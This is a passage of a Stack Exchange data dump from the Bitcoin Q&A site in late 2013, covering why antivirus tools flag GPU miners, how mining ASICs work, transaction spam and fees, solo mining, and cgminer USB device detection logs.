  <row Id="16943" PostTypeId="1" AcceptedAnswerId="16945" CreationDate="2013-11-20T10:56:46.173" Score="6" ViewCount="23275" Body="&lt;p&gt;For example I was downloading &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.5/&quot; rel=&quot;noreferrer&quot;&gt;the latest cgminer&lt;/a&gt; and Avast blocked the download saying it was a virus. Is this true or is it a false positive? I've had other antimalware (I think Malwarebytes) detect cgminer as a virus.&lt;/p&gt;&#xA;" OwnerUserId="2552" LastActivityDate="2018-11-27T19:46:02.173" Title="Why does Avast and other antivirus' detect gpu miners as viruses?" Tags="|cgminer|virus|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16944" PostTypeId="2" ParentId="16942" CreationDate="2013-11-20T11:04:05.080" Score="0" Body="&lt;p&gt;There was similar thread of someone sending the smallest amount of bitcoin (probably for spamming puposes) here. However I put on my blog a bitcoin address and so far have recieved any smallest amount. Bitcoin price is pretty high so sending smallest ammout (0.00000001) wouldn't be cost effective spamming. &lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2013-11-20T11:04:05.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16945" PostTypeId="2" ParentId="16943" CreationDate="2013-11-20T11:08:28.460" Score="4" Body="&lt;p&gt;This is probably because hackers install these miners on peoples computers without their knowledge or make a botnet of miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution to this is placing your miner to ignore-list or get another antivirus like Avira, Avg, or just switch to linux and no need for antivirus anymore.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastEditorUserId="2814" LastEditDate="2013-11-20T16:39:25.487" LastActivityDate="2013-11-20T16:39:25.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16946" PostTypeId="2" ParentId="16940" CreationDate="2013-11-20T13:24:56.870" Score="4" Body="&lt;p&gt;The term &lt;code&gt;ASIC&lt;/code&gt; is not associated with software but hardware. It means &lt;a href=&quot;http://en.wikipedia.org/wiki/Application-specific_integrated_circuit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Application-specific integrated circuit&lt;/a&gt; and we should call it processor. For comparison with FPGAs, see for example &lt;a href=&quot;http://www.xilinx.com/fpga/asic.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Xilinx's site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically you need some mining software like &lt;code&gt;cgminer&lt;/code&gt; or &lt;code&gt;bfgminer&lt;/code&gt;. With these software you should use various types of &quot;processors&quot; to mine with. The most typical are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU (which is probably CISC)&lt;/li&gt;&#xA;&lt;li&gt;GPU through OpenCL (most likely, see &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9855/2814&quot;&gt;this answer&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;ASIC unit which is designed only for computing &lt;code&gt;SHA-256&lt;/code&gt; hashes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So ASIC chips are not doing the optimization, just working with hashes faster than other chips.&lt;/p&gt;&#xA;" OwnerUserId="2814" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-11-26T08:22:48.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16948" PostTypeId="2" ParentId="16942" CreationDate="2013-11-20T13:48:42.573" Score="0" Body="&lt;p&gt;Every transaction has to be confirmed and fees are required, miners rely on them. This has been discussed on bitcointalk and very nice explanation is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=156334.msg1711869#msg1711869&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Also you can check &lt;a href=&quot;http://www.bitcoinfees.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoinfees.com&lt;/a&gt; for informations related too a transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="2814" LastActivityDate="2013-11-20T13:48:42.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16949" PostTypeId="2" ParentId="16754" CreationDate="2013-11-20T14:21:45.250" Score="0" Body="&lt;p&gt;I suspect that I misunderstand your question, because as it is written and as I read it, there is a well-known answer: Bitcoin. Whilst not commonly described as inflationary, it is inflationary in the sense that, for now, new Bitcoin are created. In the Bitcoin protocol,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners are the only source of new Bitcoin, as these are only generated as block rewards. All other ways of receiving Bitcoin only transfer them rather than generating new ones. For example, the transaction fees earned by miners are not newly generated Bitcoin but rather come from someone else who has &quot;paid&quot; them. Likewise, when you buy Bitcoin, you pay someone for their Bitcoin, which previously existed and were their Bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All new Bitcoin (the block rewards) are all distributed to miners only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, if this is not the answer you are looking for, please clarify what exactly you are looking for.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-20T14:21:45.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16950" PostTypeId="2" ParentId="16942" CreationDate="2013-11-20T14:30:13.610" Score="3" Body="&lt;p&gt;Yes, it is possible, and called transaction spamming. If you consider it cost effective spamming probably depends on how much it is worth to you to bloat the blockchain, already at a size measured in double-digit GBs, for everybody who keeps a complete copy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are some possible mitigations already implemented. First of all, many clients delay forwarding very small transactions and delay incorporating them into blocks or even require a transaction fee for them. As the transaction spam problem becomes larger, surely more mining pools will stop bothering unless a transaction fee is included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally it is not strictly necessary for every single client to keep every single block of the blockchain around. Hence the long-term impact of such spamming is probably rather limited, and its widespread implementation, if not now then at least sooner or later, costly.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-20T14:30:13.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16951" PostTypeId="1" CreationDate="2013-11-20T14:47:58.187" Score="0" ViewCount="14306" Body="&lt;p&gt;I've been using &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CgMiner 3.4.1&lt;/a&gt; since late September. It can see my four USB Block Erupters, and works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.4.1 - Started: [2013-11-20 07:48:07]&#xA;--------------------------------------------------------------------------------&#xA; (5s):1.223G (avg):978.4Mh/s | A:18  R:0  HW:1  WU:17.4/m&#xA; ST: 2  SS: 0  NB: 1  LW: 37  GF: 0  RF: 0&#xA; Connected to stratum.bitcoin.cz diff 3 with stratum as user joesmith&#xA; Block: 00070bedfe64cbc8...  Diff:609M  Started: [07:48:07]  Best share: 124&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [S]ettings [D]isplay options [Q]uit&#xA; AMU 0:                | 307.2M/327.5Mh/s | A:12 R:0 HW:0 WU:10.0/m&#xA; AMU 1:                | 267.8M/314.6Mh/s | A: 0 R:0 HW:0 WU: 2.5/m&#xA; AMU 2:                | 280.3M/322.7Mh/s | A: 6 R:0 HW:0 WU: 3.7/m&#xA; AMU 3:                | 127.4M/308.9Mh/s | A: 3 R:0 HW:1 WU:10.5/m&#xA;--------------------------------------------------------------------------------&#xA;&#xA; [2013-11-20 07:48:43] Accepted 1326b92d Diff 13/3 AMU 0&#xA; [2013-11-20 07:48:47] Accepted 3e086003 Diff 4/3 AMU 0&#xA; [2013-11-20 07:48:58] Accepted 487047eb Diff 3/3 AMU 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it &lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.10980&quot; rel=&quot;nofollow noreferrer&quot;&gt;regularly crashes&lt;/a&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.10960&quot; rel=&quot;nofollow noreferrer&quot;&gt;with a&lt;/a&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.12395;wap&quot; rel=&quot;nofollow noreferrer&quot;&gt;stack overflow&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About a month ago i tried to upgrade to &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CgMiner 3.6&lt;/a&gt;, but it fails to find my USB devices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.6.0 - Started: [2013-11-20 07:49:52]&#xA;--------------------------------------------------------------------------------&#xA; (5s):0.000 (avg):0.000h/s | A:0  R:0  HW:0  WU:0.0/m&#xA; ST: 2  SS: 0  NB: 1  LW: 2  GF: 0  RF: 0&#xA; Connected to stratum.bitcoin.cz diff 3 with stratum as user joesmith&#xA; Block: 00070bedfe64cbc8...  Diff:609M  Started: [07:49:52]  Best share: 0&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [S]ettings [D]isplay options [Q]uit&#xA;--------------------------------------------------------------------------------&#xA;&#xA; [2013-11-20 07:49:49] Started cgminer 3.6.0&#xA; [2013-11-20 07:49:49] Loaded configuration file cgminer.conf&#xA; [2013-11-20 07:49:51] No devices detected!&#xA; [2013-11-20 07:49:51] Waiting for USB hotplug devices or press q to quit&#xA; [2013-11-20 07:49:51] Probing for an alive pool&#xA; [2013-11-20 07:49:52] Pool 0 difficulty changed to 3&#xA; [2013-11-20 07:49:52] Network diff set to 609M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i reverted to &lt;code&gt;3.4.1&lt;/code&gt;, living with the semi-daily crashes and having to remember to restart CgMiner. This morning i tested &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.8/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CgMiner 3.8&lt;/a&gt;, hoping they fixed its inability to see USB Block Eruptors (and the stack overflow). Unfortunately it &lt;em&gt;still&lt;/em&gt; does not see USB devices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.8.0 - Started: [2013-11-20 07:44:46]&#xA;--------------------------------------------------------------------------------&#xA; (5s):0.000 (avg):0.000h/s | A:0  R:0  HW:0  WU:0.0/m&#xA; ST: 2  SS: 0  NB: 1  LW: 16  GF: 0  RF: 0&#xA; Connected to stratum.bitcoin.cz diff 1 with stratum as user joesmith&#xA; Block: 70bedfe6...  Diff:609M  Started: [07:44:46]  Best share: 0&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [S]ettings [D]isplay options [Q]uit&#xA;--------------------------------------------------------------------------------&#xA;&#xA; [2013-11-20 07:44:42] Started cgminer 3.8.0&#xA; [2013-11-20 07:44:42] Loaded configuration file cgminer.conf&#xA; [2013-11-20 07:44:44] AMU 0 SendWork usb write err:(-7) LIBUSB_ERROR_TIMEOUT&#xA; [2013-11-20 07:44:44] FAIL: USB get_lock not found (3:2)&#xA; [2013-11-20 07:44:44] FAIL: USB remove not already in use (3:2)&#xA; [2013-11-20 07:44:45] No devices detected!&#xA; [2013-11-20 07:44:45] Waiting for USB hotplug devices or press q to quit&#xA; [2013-11-20 07:44:45] Probing for an alive pool&#xA; [2013-11-20 07:44:46] Pool 0 difficulty changed to 3&#xA; [2013-11-20 07:44:46] Network diff set to 609M&#xA; [2013-11-20 07:45:14] Pool 0 difficulty changed to 1&#xA; [2013-11-20 07:45:14] Stratum from pool 0 requested work restart&#xA; [2013-11-20 07:45:14] Stratum from pool 0 requested work restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i am, once again, reverted to CgMiner 3.4.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did they break after CgMiner 3.4, and how do i fix it?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;WinUSB&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Just to preempt people who might suggest it, rather than offering any insight, i re-ran &lt;a href=&quot;http://zadig.akeo.ie/&quot; rel=&quot;nofollow noreferrer&quot;&gt;zadiag&lt;/a&gt; &lt;a href=&quot;http://zadig.akeo.ie/downloads/zadig_v2.0.1.162.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.0.1.162&lt;/a&gt; (Updated 11/20/2013), and &lt;em&gt;&quot;reinstalled&quot;&lt;/em&gt; the &lt;strong&gt;WinUSB&lt;/strong&gt; driver for my for USB devices (and rebooted)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4OXzD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is CgMiner 2.8 doing wrong that CgMiner 2.4 did right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Using Silicon Labs own VCP (Virtual COM Port driver):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIgbV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives the error (in BfgMiner):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usb_devinfo_scan: Error opening device: LIBUSB_ERROR_NOT_SUPPORTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In CgMiner it gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 1:3&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:3&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:2&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:6&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:8&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:10&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:11&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:12&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 3:13&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 6:2&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 8:3&#xA;USB init, open device failed, err -12, you need to install a WinUSB driver for - AMU device 8:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i've changed it trying every driver with some of the miners. Three are using the &lt;strong&gt;libusb-win32&lt;/strong&gt; driver, three are using the &lt;strong&gt;libusbx.org&lt;/strong&gt; driver, and the rest are using the &lt;strong&gt;Silicon Labs CP210x USB to UART Bridge&lt;/strong&gt; driver:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W0Vgp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both &lt;strong&gt;CgMiner&lt;/strong&gt; and &lt;strong&gt;BfgMiner&lt;/strong&gt; detect no devices.&lt;/p&gt;&#xA;" OwnerUserId="2446" LastEditorUserId="2446" LastEditDate="2013-11-27T13:58:55.477" LastActivityDate="2018-01-15T08:07:46.110" Title="CgMiner past version 3.4 cannot see USB Block Eurptors (Windows)" Tags="|windows|cgminer|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16953" PostTypeId="2" ParentId="16940" CreationDate="2013-11-20T14:56:13.777" Score="15" Body="&lt;p&gt;From trying to design my own ASIC---I got as far as having a simulated but not completely debugged Verilog implementation---I can tell you how mine would have worked. Whilst I have not checked, the design choices seem so obvious to me that I doubt anyone would do it differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inner loop of the mining process is a double SHA-256 hash of data where only one 32-bit word, essentially a counter or &quot;nonce&quot;, changes. It looks for a specific result where there are enough zeros in the right place after the second SHA-256 and only needs to output that counter value for which this is the case (if it is for any).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This inner loop is perfect for implementation in hardware: The SHA-256 is of reasonably low complexity, is itself a loop that can easily be unrolled and pipelined (there are 64 identical steps in each of the two applications after an optimization I'll describe later), and if the counter-loop is included in the hardware, then the required IO is very low, both in terms of actual data transmitted and in the sense that it can be very slow with negligible impact on overall performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the source code you reference, the loop I am talking about constitutes the entire function &lt;code&gt;FindShare&lt;/code&gt; (lines 85 through 107). However, let me explain that of the actual work, implemented in &lt;code&gt;FindShare&lt;/code&gt; as &lt;code&gt;Sha256(Sha256(Current))&lt;/code&gt; in line 90, due to an easy and very common optimization, only half of the initial function call is executed. The first half can easily be moved outside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to know the details, then I should add that part of the first of the two SHA-256 runs that should be done for each counter value is identical for all counter values. Naturally that should be optimized, and removing it reduces the hardware complexity significantly. It is even removed from many software mining implementations (one protocol used for mining pools actually lets the pool solve that bit, passing only the intermediary SHA-256 data to the miners). So what remains for the ASIC is some I/O logic to get that intermediate SHA-256 data and then finish 2 applications of the SHA-256 hash algorithms on the resulting data, check the output (and output a signal if it corresponds to finding a block or solving a share in a mining pool), and iterate 2^32 times with the next counter value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because an ASIC is a really custom-made chip, and because SHA-256 is such a hardware-implementation-friendly algorithm, it is reasonable to generate one new double-SHA-256-hash every clock cycle from a much smaller area of silicon than it takes to make a general purpose CPU, which takes many hundred clock cycles for the same computation. Whilst in principle the same is true for FPGAs, the fact that their structure isn't quite what one would wish for to do fully unrolled, pipelined SHA-256 (the area-intensive more efficient method of choice for Bitcoin mining, but not typical for other applications and pre-mining ASIC cores for SHA-256) means that in many cost-effective FPGAs one struggles to fit a single fully unrolled double SHA-256, whilst an ASIC can easily accomodate many.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-20T15:08:38.507" LastActivityDate="2013-11-20T15:08:38.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16955" PostTypeId="1" CreationDate="2013-11-20T15:42:11.257" Score="1" ViewCount="223" Body="&lt;p&gt;Is there any blog or document that gives a basic &quot;tour&quot; or &quot;overview&quot; of the Satoshi code?  I could just dive in but it would help to read an introduction first.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-12-03T15:04:52.247" Title="want to study the Satoshi (bitcoind) code" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16956" PostTypeId="2" ParentId="16916" CreationDate="2013-11-20T15:47:53.363" Score="0" Body="&lt;p&gt;From what I understand, you must report a capital gain (or loss) when you convert the BTC back into dollars.  But I am not an accountant so you should consult your own accountant and not rely on me.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-20T15:47:53.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16958" PostTypeId="1" CreationDate="2013-11-20T16:15:28.830" Score="-1" ViewCount="266" Body="&lt;p&gt;I'm looking to try out solo mining, I know it as a very low return rate but I want to try it out anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a simple client software to connect into the bitcoin network.&#xA;Which instruction would I invoke on this software in order to try out a hash I have generated?&#xA;i.e. is there something like tryHash(int hash) that returns a Bitcoin if successful?&lt;/p&gt;&#xA;" OwnerUserId="9038" LastEditorUserId="5406" LastEditDate="2016-04-25T20:10:53.890" LastActivityDate="2016-04-25T20:10:53.890" Title="Software to connect to Bitcoin, and the method I need to invoke to try mining a bitcoin using a hash I have generated?" Tags="|miner-configuration|solo-mining|mining-software|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16959" PostTypeId="2" ParentId="16942" CreationDate="2013-11-20T16:18:08.290" Score="8" Body="&lt;p&gt;Such transactions will be subject to fees.  You can read about the fee schedule &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;here&lt;/a&gt;.  The fees apply if the transactions send a small amount of coins, or send the same coins over and over (giving the transactions a low priority score).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fee is set at BTC 0.0001 per 1000 bytes.  Thus someone who wants to spam the block chain with 10 MB will have to pay at least BTC 1 in fees.  That's about US$500 at today's prices, and it causes the block chain to increase in size by about 0.1%, which nobody will probably even notice.  If you're going to spend $500 on mischief, you'll get a lot more bang for the buck by spending it on eggs and toilet paper!&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-20T16:18:08.290" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16961" PostTypeId="2" ParentId="16955" CreationDate="2013-11-20T16:52:19.000" Score="2" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;the Bitcoin protocol specification&lt;/a&gt; and in more general &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;the Bitcoin wiki&lt;/a&gt;. Also, &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;the original paper of Satoshi&lt;/a&gt; is a good read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I recently found &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41718.0&quot; rel=&quot;nofollow&quot;&gt;an article on Bitcoin Talk about the Satoshi client code structure&lt;/a&gt;. It's an interesting read too!&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2013-12-03T15:04:52.247" LastActivityDate="2013-12-03T15:04:52.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16962" PostTypeId="2" ParentId="16936" CreationDate="2013-11-20T17:08:57.820" Score="5" Body="&lt;p&gt;There is no official list of Ripple Gateways because there is no such thing as an &quot;official&quot; gateway. Anyone can operate one without registering anywhere (other than as required by local laws in their jurisdiction). That hinders the creation of any kind of comprehensive list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few people that attempt to keep somewhat comprehensive lists but their list criteria for inclusion may differ or they may not hear of some new gateway for a while so I think they best you'll ever be able to do is to have a list of list of gateways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some places that attempt to list gateways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DannyM's bitcointalk.org post, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=155236.msg1646402#msg1646402&quot; rel=&quot;nofollow&quot;&gt;All Things Ripple&lt;/a&gt; (mostly up-to-date, lists all kind of niche gateways not listed elsewhere)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ripple.com/forum/viewforum.php?f=14&quot; rel=&quot;nofollow&quot;&gt;Ripple Gateway sub-forum&lt;/a&gt; (only indexes gateways discussed on the forums, does not claim to be exhaustive)&lt;/li&gt;&#xA;&lt;li&gt;Ripple Federation has a &lt;a href=&quot;http://ripplefederation.org/business-listings&quot; rel=&quot;nofollow&quot;&gt;Ripple Business Listing&lt;/a&gt; that includes a Gateways and Exchanges setion&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://www.xrpga.org/gateways.html&quot; rel=&quot;nofollow&quot;&gt;International Ripple Gateways Association&lt;/a&gt;'s gateway list (they have some arbitrary requirements to join and don't actually police their members yet)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of these, the only one I know that explicitly list the fees (or provides links to where the fees are listed) is the Ripple Gateway sub-forum topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple internal &lt;a href=&quot;https://ripple.com/wiki/Transit_Fees&quot; rel=&quot;nofollow&quot;&gt;transfer rate&lt;/a&gt; for any issuer can be queried with the &lt;a href=&quot;https://ripple.com/wiki/RPC_API#account_info&quot; rel=&quot;nofollow&quot;&gt;account_info API&lt;/a&gt;. The other gateway fees (for redemption, issuing, etc) are probably best determined by going to the fee page of the gateway's website.&#xA;Some other basic per-gateway information (such as issuing and hot wallet addresses) can be retrieved in a computer readable form from the sites's &lt;a href=&quot;https://ripple.com/wiki/Ripple.txt&quot; rel=&quot;nofollow&quot;&gt;ripple.txt file&lt;/a&gt;, usually available from &lt;code&gt;https://gateway.domain.name/ripple.txt&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2014-03-20T17:57:55.927" LastActivityDate="2014-03-20T17:57:55.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16963" PostTypeId="1" CreationDate="2013-11-20T17:20:08.890" Score="5" ViewCount="3573" Body="&lt;p&gt;I bought BTC in 2011 and renamed my wallet.dat to something else that I cannot remember. How can I find my wallet file on my computer? I'm prepared to use the command line and scripting.&lt;/p&gt;&#xA;" OwnerUserId="9040" LastEditorUserId="3779" LastEditDate="2014-01-23T11:38:26.633" LastActivityDate="2014-01-23T11:38:26.633" Title="How do I find a renamed wallet whose name I can't remember?" Tags="|wallet.dat|windows|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16964" PostTypeId="2" ParentId="16963" CreationDate="2013-11-20T17:40:57.153" Score="1" Body="&lt;p&gt;Write a script (e.g. Perl, Python, Ruby... ) that opens every file on your computer and looks inside it to check the format.  I'm not sure what that format is exactly.  It may be as simple as a certain constant sequence of bytes at the beginning (a so-called &quot;magic number&quot;).&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-20T17:40:57.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16965" PostTypeId="1" CreationDate="2013-11-20T18:01:18.830" Score="2" ViewCount="951" Body="&lt;p&gt;I have been using bitcoin-qt for about 7 months without any problems until a few days ago when I launched it and a message popped up saying I should upgrade. So I did, to bitcoin-qt (v 0.8.5). Now all I get is &quot;Synchronizing with network&quot; (Processed 0 of 250284). I have left it for hours and its not changing. I have checked my broadband speed and Im getting approx 7.5 meg. Any Ideas? &lt;/p&gt;&#xA;" OwnerUserId="9043" LastActivityDate="2014-01-03T22:02:35.987" Title="bitcoin-qt not syncing on mac os 10.9" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16966" PostTypeId="2" ParentId="13304" CreationDate="2013-11-20T18:32:05.690" Score="2" Body="&lt;p&gt;The best thing I can imagine is running Grover's algorithm, which speeds up what would be an exhaustive search for a single solution among N input values to take only about the square root of N actual evaluations. Only very special problems, like factoring numbers, have better known quantum algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you imagine connecting a hypothetical quantum computer to a mining pool, the impact would be low: The quantum computer can only be run on the share of work it gets, which means finding if any of 2^32 nonce values yield a proof of work. An ASIC miner could probably do that in less than a second using (internally and highly parallelized) something like 2^32 operations, each of which includes several 32-bit additions. The quantum computer could get away with doing about 2^16 equivalent quantum operations, which, after serializing the bit operations of the additions, likely means many thousand times 2^16 consecutive qubit operations. And it will require on the order of a thousand qubits, at least. Sounds to me like in this scheme a quantum computer might, at best, be equivalent to a hundred ASICs or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it might just get interesting if we move more of the mining algorithm onto our hypothetical quantum computer. If the extra nonce can be incorporated into the Grover algorithm, a larger search can be performed, with a correspondingly larger speed-up. Unfortunately, a much larger quantum computer running a much more complicated program would be needed. Or let us say fortunately for whoever might otherwise worry about mining competition!&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-20T18:32:05.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16967" PostTypeId="1" AcceptedAnswerId="16971" CreationDate="2013-11-20T18:34:48.153" Score="4" ViewCount="1270" Body="&lt;p&gt;I have withdrawn bitcoins from my account in MtGox to my Multibit installed in my computer. Several hours after BTC are not in MtGox and neither in my account. I have verified the address and it is right. I can see the direction of the address in blockchain but it appears &quot;transactions:0&quot;. Is this normal?&lt;/p&gt;&#xA;" OwnerUserId="9045" LastEditorUserId="5406" LastEditDate="2014-06-17T21:52:54.673" LastActivityDate="2014-06-17T21:52:54.673" Title="Bitcoin Transaction from MtGox hasn't shown up after several hours" Tags="|mtgox|withdrawal|lost-transactions|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16969" PostTypeId="2" ParentId="16958" CreationDate="2013-11-20T18:57:11.413" Score="0" Body="&lt;p&gt;Basically, you do need to connect to a mining pool---which you can provide yourself by running the bitcoin client if it indeed has to be solo mining for you. Note that from your question it is obvious you do not understand the implication: Solo mining can only get you at least a block reward (or nothing), so currently, you can never get just a single Bitcoin, you have to accept at least 25 in solo mining. Only by joining a mining pool can you get smaller rewards for less difficult-to-find hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, connecting can be as simple as doing a RPC call. With this, I guess I can refer you on to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1323/what-is-the-standard-protocol-for-pools-miners&quot;&gt;the bitcoin.stackexchange question &quot;What is the standard protocol for pools/miners?&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the summary, slightly updated from the linked 